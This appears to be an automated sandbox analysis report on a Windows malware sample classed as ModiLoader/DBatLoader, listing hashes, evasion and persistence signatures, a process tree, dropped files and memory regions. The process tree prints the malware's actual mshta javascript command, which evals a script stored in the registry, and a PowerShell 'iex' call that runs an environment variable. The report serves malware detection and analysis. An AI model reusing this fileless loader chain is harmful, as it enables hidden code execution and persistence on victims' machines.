Analysis

  • max time kernel
    150s
  • max time network
    149s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    07/09/2024, 17:37

General

  • Target

    d27b4cf5cbdee95421e35b6506495ba5_JaffaCakes118.exe

  • Size

    336KB

  • MD5

    d27b4cf5cbdee95421e35b6506495ba5

  • SHA1

    ad75a99d040b7a424a627e63df55cfe6afcc6a87

  • SHA256

    afe9e922b736dfb46b0f03942f50ae38e92a01bc6b98f06da09cfea81b864f4f

  • SHA512

    0489aef1d01421138e60df524a2a464ced99d6753f5159ad4ff5b8301401bf0ad9a09d9afc116655c2ba85238fcdef6934507359287090610b2a7404c6a9e04d

  • SSDEEP

    6144:WZ6enhqaBpOx1VfOtzqqwPyin7tBO4RSxjQE/OeyB3V9DuEK2eZ:ctnhqaBgOoHn7tBOQc92xpV9DuL1Z

Malware Config

Signatures

  • ModiLoader, DBatLoader

    ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Checks for common network interception software 1 TTPs

    Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.

  • Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
  • Looks for VirtualBox drivers on disk 2 TTPs 1 IoCs
  • ModiLoader Second Stage 57 IoCs
  • Looks for VMWare Tools registry key 2 TTPs 1 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Maps connected drives based on registry 3 TTPs 2 IoCs

    Disk information is often read in order to detect sandboxing environments.

  • Drops file in System32 directory 1 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 2 IoCs
  • Modifies registry class 7 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\d27b4cf5cbdee95421e35b6506495ba5_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\d27b4cf5cbdee95421e35b6506495ba5_JaffaCakes118.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    PID:2372
  • C:\Windows\system32\mshta.exe
    "C:\Windows\system32\mshta.exe" javascript:VO6V6obq="DnE";s1i=new%20ActiveXObject("WScript.Shell");Ts72Sqi="JS2Svy0D";NgJ7H9=s1i.RegRead("HKCU\\software\\tNoUSzj\\R30XUDMxs");VAD7VF="cUhT";eval(NgJ7H9);K8ztGC6m="SVDD";
    1⤵
    • Process spawned unexpected child process
    • Suspicious use of WriteProcessMemory
    PID:2108
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:edlr
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Drops file in System32 directory
      • Suspicious use of SetThreadContext
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2724
      • C:\Windows\SysWOW64\regsvr32.exe
        regsvr32.exe
        3⤵
        • Looks for VirtualBox Guest Additions in registry
        • Looks for VirtualBox drivers on disk
        • Looks for VMWare Tools registry key
        • Checks BIOS information in registry
        • Deletes itself
        • Adds Run key to start application
        • Maps connected drives based on registry
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Modifies Internet Explorer settings
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: MapViewOfSection
        • Suspicious use of WriteProcessMemory
        PID:408
        • C:\Windows\SysWOW64\regsvr32.exe
          "C:\Windows\SysWOW64\regsvr32.exe"
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2880

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\d18b\25f9.bat

    Filesize

    65B

    MD5

    fa68524e5685015299921bf1d717e82c

    SHA1

    bce87d1fabb945881feb98979aa63d3bcc2b4908

    SHA256

    681d7966d77156fe0c63ff261c1e95167c2d094904f9ec497c817eaccbe621cf

    SHA512

    3c8cf6641236b63c50d6d054f8441d479997d60c35170193202d6a30a2aa4e31dd860260caf956e72d02192eb12622bf64487addb62365d2e3950355b8e6ca18

  • C:\Users\Admin\AppData\Local\d18b\ccb4.7cdd1

    Filesize

    38KB

    MD5

    8fec974909ef137afe46f7fce8511d82

    SHA1

    c2c822777aa365388e7f9e198eb651dbae294a0d

    SHA256

    298f1cc79480f08b42eb743276136e56b98bf33130d5093b13913b1f3c36edaa

    SHA512

    3da7fe92f9e1b8e5ae274fe00aa3f620b183a916e4cea5fe1ed254463ee9b1f808935eb8715b003a7bf3a627def59c7a0c0f946be756eac478876c878e29dc9a

  • memory/408-37-0x0000000000230000-0x000000000037A000-memory.dmp

    Filesize

    1.3MB

  • memory/408-20-0x0000000000230000-0x000000000037A000-memory.dmp

    Filesize

    1.3MB

  • memory/408-35-0x0000000000230000-0x000000000037A000-memory.dmp

    Filesize

    1.3MB

  • memory/408-21-0x0000000000230000-0x000000000037A000-memory.dmp

    Filesize

    1.3MB

  • memory/408-23-0x0000000000230000-0x000000000037A000-memory.dmp

    Filesize

    1.3MB

  • memory/408-36-0x0000000000230000-0x000000000037A000-memory.dmp

    Filesize

    1.3MB

  • memory/408-25-0x0000000000230000-0x000000000037A000-memory.dmp

    Filesize

    1.3MB

  • memory/408-27-0x0000000000230000-0x000000000037A000-memory.dmp

    Filesize

    1.3MB

  • memory/408-28-0x0000000000230000-0x000000000037A000-memory.dmp

    Filesize

    1.3MB

  • memory/408-29-0x0000000000230000-0x000000000037A000-memory.dmp

    Filesize

    1.3MB

  • memory/408-15-0x0000000000230000-0x000000000037A000-memory.dmp

    Filesize

    1.3MB

  • memory/408-18-0x0000000000230000-0x000000000037A000-memory.dmp

    Filesize

    1.3MB

  • memory/408-30-0x0000000000230000-0x000000000037A000-memory.dmp

    Filesize

    1.3MB

  • memory/408-19-0x0000000000230000-0x000000000037A000-memory.dmp

    Filesize

    1.3MB

  • memory/408-22-0x0000000000230000-0x000000000037A000-memory.dmp

    Filesize

    1.3MB

  • memory/408-26-0x0000000000230000-0x000000000037A000-memory.dmp

    Filesize

    1.3MB

  • memory/408-34-0x0000000000230000-0x000000000037A000-memory.dmp

    Filesize

    1.3MB

  • memory/408-39-0x0000000000230000-0x000000000037A000-memory.dmp

    Filesize

    1.3MB

  • memory/408-40-0x0000000000230000-0x000000000037A000-memory.dmp

    Filesize

    1.3MB

  • memory/408-41-0x0000000000230000-0x000000000037A000-memory.dmp

    Filesize

    1.3MB

  • memory/408-43-0x0000000000230000-0x000000000037A000-memory.dmp

    Filesize

    1.3MB

  • memory/408-48-0x0000000000230000-0x000000000037A000-memory.dmp

    Filesize

    1.3MB

  • memory/408-51-0x0000000000230000-0x000000000037A000-memory.dmp

    Filesize

    1.3MB

  • memory/408-52-0x0000000000230000-0x000000000037A000-memory.dmp

    Filesize

    1.3MB

  • memory/408-50-0x0000000000230000-0x000000000037A000-memory.dmp

    Filesize

    1.3MB

  • memory/408-49-0x0000000000230000-0x000000000037A000-memory.dmp

    Filesize

    1.3MB

  • memory/408-42-0x0000000000230000-0x000000000037A000-memory.dmp

    Filesize

    1.3MB

  • memory/408-38-0x0000000000230000-0x000000000037A000-memory.dmp

    Filesize

    1.3MB

  • memory/408-31-0x0000000000230000-0x000000000037A000-memory.dmp

    Filesize

    1.3MB

  • memory/408-24-0x0000000000230000-0x000000000037A000-memory.dmp

    Filesize

    1.3MB

  • memory/408-32-0x0000000000230000-0x000000000037A000-memory.dmp

    Filesize

    1.3MB

  • memory/408-33-0x0000000000230000-0x000000000037A000-memory.dmp

    Filesize

    1.3MB

  • memory/2372-9-0x0000000000460000-0x000000000053C000-memory.dmp

    Filesize

    880KB

  • memory/2372-7-0x0000000000460000-0x000000000053C000-memory.dmp

    Filesize

    880KB

  • memory/2372-4-0x0000000000460000-0x000000000053C000-memory.dmp

    Filesize

    880KB

  • memory/2372-3-0x0000000000400000-0x000000000045C5E8-memory.dmp

    Filesize

    369KB

  • memory/2372-5-0x0000000000460000-0x000000000053C000-memory.dmp

    Filesize

    880KB

  • memory/2372-55-0x0000000000460000-0x000000000053C000-memory.dmp

    Filesize

    880KB

  • memory/2372-6-0x0000000000460000-0x000000000053C000-memory.dmp

    Filesize

    880KB

  • memory/2372-1-0x0000000000460000-0x000000000053C000-memory.dmp

    Filesize

    880KB

  • memory/2372-0-0x0000000000400000-0x000000000045C5E8-memory.dmp

    Filesize

    369KB

  • memory/2372-8-0x0000000000460000-0x000000000053C000-memory.dmp

    Filesize

    880KB

  • memory/2372-2-0x0000000000454000-0x0000000000456000-memory.dmp

    Filesize

    8KB

  • memory/2724-13-0x0000000005480000-0x0000000005481000-memory.dmp

    Filesize

    4KB

  • memory/2724-14-0x0000000006050000-0x000000000612C000-memory.dmp

    Filesize

    880KB

  • memory/2724-17-0x0000000006050000-0x000000000612C000-memory.dmp

    Filesize

    880KB

  • memory/2880-63-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/2880-62-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/2880-72-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/2880-71-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/2880-69-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/2880-68-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/2880-66-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/2880-64-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/2880-65-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/2880-67-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/2880-61-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/2880-73-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/2880-70-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB